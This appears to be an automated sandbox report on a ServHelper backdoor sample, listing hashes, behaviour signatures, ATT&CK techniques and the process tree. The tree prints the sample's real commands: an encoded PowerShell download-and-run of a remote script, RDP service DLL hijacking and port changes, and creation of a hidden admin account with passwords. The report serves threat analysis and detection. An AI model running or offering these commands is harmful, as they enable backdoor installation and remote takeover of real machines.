servhelper | 5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a

Analysis

max time kernel
131s
max time network
100s
platform
windows7_x64
resource
win7-en-20210920
submitted
29-09-2021 16:05

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General

Target

74f029d2fd587f9e25091f7832bea2f2.exe
Size

5.7MB
MD5

74f029d2fd587f9e25091f7832bea2f2
SHA1

76fb2d051d6dc938ba2b7131ef1b21c0fe2ad60c
SHA256

5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a
SHA512

0386c61a89b414ab50c2c7b371d2bab288bde154da35c643de423622b05e99fcc748f5b0b9e53f8da00e6dccd02cf535b6d41c15fbddfa732a599db3bac45a23

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1648 powershell.exe
6 1648 powershell.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

924 icacls.exe
1408 icacls.exe
656 takeown.exe
756 icacls.exe
560 icacls.exe
1324 icacls.exe
920 icacls.exe
592 icacls.exe
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

flow	pid	process
5	1648	powershell.exe
6	1648	powershell.exe

pid	process
924	icacls.exe
1408	icacls.exe
656	takeown.exe
756	icacls.exe
560	icacls.exe
1324	icacls.exe
920	icacls.exe
592	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Loads dropped DLL 2 IoCs

Processes:

pid process

2036
2036
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

924 icacls.exe
1408 icacls.exe
656 takeown.exe
756 icacls.exe
560 icacls.exe
1324 icacls.exe
920 icacls.exe
592 icacls.exe
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

pid	process
2036
2036

pid	process
924	icacls.exe
1408	icacls.exe
656	takeown.exe
756	icacls.exe
560	icacls.exe
1324	icacls.exe
920	icacls.exe
592	icacls.exe

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TGDL3AXA8FFVAX8HIEMC.temp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00b868dc4bb5d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1040 reg.exe
Runs net.exe

pid	process
1040	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
752	powershell.exe
620	powershell.exe
1296	powershell.exe
1612	powershell.exe
752	powershell.exe
752	powershell.exe
752	powershell.exe
1648	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid process

464
2036
2036
2036
2036

pid	process
464
2036
2036
2036
2036

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	752	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeRestorePrivilege	560	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	560	WMIC.exe
Token: SeIncreaseQuotaPrivilege	560	WMIC.exe
Token: SeAuditPrivilege	560	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	560	WMIC.exe
Token: SeIncreaseQuotaPrivilege	560	WMIC.exe
Token: SeAuditPrivilege	560	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	920	WMIC.exe
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe
Token: SeAuditPrivilege	920	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	920	WMIC.exe
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe
Token: SeAuditPrivilege	920	WMIC.exe
Token: SeDebugPrivilege	1648	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

74f029d2fd587f9e25091f7832bea2f2.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	process	target process
PID 1124 wrote to memory of 752	1124	74f029d2fd587f9e25091f7832bea2f2.exe	powershell.exe
PID 1124 wrote to memory of 752	1124	74f029d2fd587f9e25091f7832bea2f2.exe	powershell.exe
PID 1124 wrote to memory of 752	1124	74f029d2fd587f9e25091f7832bea2f2.exe	powershell.exe
PID 752 wrote to memory of 364	752	powershell.exe	csc.exe
PID 752 wrote to memory of 364	752	powershell.exe	csc.exe
PID 752 wrote to memory of 364	752	powershell.exe	csc.exe
PID 364 wrote to memory of 1256	364	csc.exe	cvtres.exe
PID 364 wrote to memory of 1256	364	csc.exe	cvtres.exe
PID 364 wrote to memory of 1256	364	csc.exe	cvtres.exe
PID 752 wrote to memory of 620	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 620	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 620	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 1296	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 1296	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 1296	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 1612	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 1612	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 1612	752	powershell.exe	powershell.exe
PID 752 wrote to memory of 656	752	powershell.exe	takeown.exe
PID 752 wrote to memory of 656	752	powershell.exe	takeown.exe
PID 752 wrote to memory of 656	752	powershell.exe	takeown.exe
PID 752 wrote to memory of 756	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 756	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 756	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 560	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 560	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 560	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 1324	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 1324	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 1324	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 920	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 920	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 920	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 592	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 592	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 592	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 924	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 924	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 924	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 1408	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 1408	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 1408	752	powershell.exe	icacls.exe
PID 752 wrote to memory of 1652	752	powershell.exe	reg.exe
PID 752 wrote to memory of 1652	752	powershell.exe	reg.exe
PID 752 wrote to memory of 1652	752	powershell.exe	reg.exe
PID 752 wrote to memory of 1040	752	powershell.exe	reg.exe
PID 752 wrote to memory of 1040	752	powershell.exe	reg.exe
PID 752 wrote to memory of 1040	752	powershell.exe	reg.exe
PID 752 wrote to memory of 748	752	powershell.exe	reg.exe
PID 752 wrote to memory of 748	752	powershell.exe	reg.exe
PID 752 wrote to memory of 748	752	powershell.exe	reg.exe
PID 752 wrote to memory of 1060	752	powershell.exe	net.exe
PID 752 wrote to memory of 1060	752	powershell.exe	net.exe
PID 752 wrote to memory of 1060	752	powershell.exe	net.exe
PID 1060 wrote to memory of 1460	1060	net.exe	net1.exe
PID 1060 wrote to memory of 1460	1060	net.exe	net1.exe
PID 1060 wrote to memory of 1460	1060	net.exe	net1.exe
PID 752 wrote to memory of 1664	752	powershell.exe	cmd.exe
PID 752 wrote to memory of 1664	752	powershell.exe	cmd.exe
PID 752 wrote to memory of 1664	752	powershell.exe	cmd.exe
PID 1664 wrote to memory of 1280	1664	cmd.exe	cmd.exe
PID 1664 wrote to memory of 1280	1664	cmd.exe	cmd.exe
PID 1664 wrote to memory of 1280	1664	cmd.exe	cmd.exe
PID 1280 wrote to memory of 1308	1280	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe
"C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\chefirnv.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:364
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4A6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC495.tmp"
      4⤵
      PID:1256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1612
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:656
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:756
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:560
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1324
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:920
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:592
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:924
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1408
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1652
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1040
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:748
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1060
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1460
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1280
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1308
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1476
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1368
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1760
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1736
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1768
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:364
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:824

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1128
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1688

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc DAJ4jCGZ /add
1⤵
PID:1604
- C:\Windows\system32\net.exe
  net.exe user wgautilacc DAJ4jCGZ /add
  2⤵
  PID:1336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc DAJ4jCGZ /add
    3⤵
    PID:868

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1320
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1752

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1648
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:1076

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1812
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1676

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc DAJ4jCGZ
1⤵
PID:1144
- C:\Windows\system32\net.exe
  net.exe user wgautilacc DAJ4jCGZ
  2⤵
  PID:1460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc DAJ4jCGZ
    3⤵
    PID:1776

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1688
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:560

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:676
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:920

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1104
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1648

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1724
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1644
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1324

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESC4A6.tmp

MD5
717943e23158f13c9c881b8c834739d7

SHA1
0e0069b171e65da73c694814faed7890c80e8f28

SHA256
8f336a2daa03139cee8dea82b59a7877d9073c1e70af19cce4c81a31f1c07fc3

SHA512
5afc0da96d46ff6a82a60344ab30c711fb33bec22a436fbb95c15e6085bcda208fb4884353064c7a08431a140dfc02941792866333f6e455c5683e68bd360303

Download Submit
C:\Users\Admin\AppData\Local\Temp\chefirnv.dll

MD5
36eb4a46dca09eb2255504aa7aa1b415

SHA1
c568be9fa8b070370eef05fb4e3f6e9fb323ef64

SHA256
41290b23af18ad896d64fff4f6a09760d2dd90c4b836ae4d054aeb34c12136d5

SHA512
148568faa2a9b76082e01416b439f0ff3623d5439d70135d8d0a24f88b6121b8eeedbe9ecee318d100985a3c5e64221ce53f67b466658447cafde802ef68c965

Download Submit
C:\Users\Admin\AppData\Local\Temp\chefirnv.pdb

MD5
47e25bdea9d71463dd046bd3fbfd1f78

SHA1
c6800de7d297fe3ab12e0e008a499fe9526eac55

SHA256
6633d78ad7a23bd155bfb5b9f6f35432168669f6794f4b56789fd40612e07299

SHA512
22b607149b79ba27e61ab390421b3df8c43b47a720603978dec84bc68d9a522130b903e92d9107487488c22736fdae1f4c932638dad873129b3db729bcf12fd8

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
1ef6eef1d39c71661339d818226d688d

SHA1
b3e44163a9d9894d091f59f888d7d5d90e68e216

SHA256
dcad3e3226ea222782284a604f9354ac661cf6e34c26c62162dd1aeedfbef04a

SHA512
8deb2b6df79c2ce81604b9124d92c6222f517cea021416513fdd8dfc9f8d46ae464cd69f50ee70a343cfe5b4fbc4d08212bcf3e1416262193cae52b4a30b2c49

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
0d882e97da0774cc68a1a9648317484a

SHA1
c2b58b82f41675bccf321990b92da8e9a20f5e03

SHA256
9c32f4d029ea443b16ea5a129d8da8e8d07871d8de8a15633af2ffdfaaa9f442

SHA512
922e80a9c9a83c7e19674daf0d4a88f2d5d489108225cbc0d0aad4daa5eb7f6de6c11113248642bb29cf4e826e8886e13d004d03eea46932da2791cf641831f8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
0d882e97da0774cc68a1a9648317484a

SHA1
c2b58b82f41675bccf321990b92da8e9a20f5e03

SHA256
9c32f4d029ea443b16ea5a129d8da8e8d07871d8de8a15633af2ffdfaaa9f442

SHA512
922e80a9c9a83c7e19674daf0d4a88f2d5d489108225cbc0d0aad4daa5eb7f6de6c11113248642bb29cf4e826e8886e13d004d03eea46932da2791cf641831f8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
0d882e97da0774cc68a1a9648317484a

SHA1
c2b58b82f41675bccf321990b92da8e9a20f5e03

SHA256
9c32f4d029ea443b16ea5a129d8da8e8d07871d8de8a15633af2ffdfaaa9f442

SHA512
922e80a9c9a83c7e19674daf0d4a88f2d5d489108225cbc0d0aad4daa5eb7f6de6c11113248642bb29cf4e826e8886e13d004d03eea46932da2791cf641831f8

Download Submit
C:\Windows\system32\rfxvmt.dll

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCC495.tmp

MD5
c18f2840b54cd8daef3e736e284e5263

SHA1
bffa3950a7853bdcc9479ee5fe86e48877c778fb

SHA256
29499608ad6adf051e0ff40444f5d26994cb4285406592f3d46ea3e6bc8cde15

SHA512
566300206fe6a1301505b9b7bd1b8f657d34e20fd1b9b0d6f8943b8988221b553596086af140ddb726dfd659f8bcf07dc27c4a85f69ac8297c9e7080b7dfa459

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\chefirnv.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\chefirnv.cmdline

MD5
82d4fce333a69e4b81e1b23a4e038fc0

SHA1
02adafef7988ccae1bb22f8caa8dc875e74919e0

SHA256
d3d53c97120d09738b652df283f8f0e6498a3f8a78fed1cf1245a9b32dd62f24

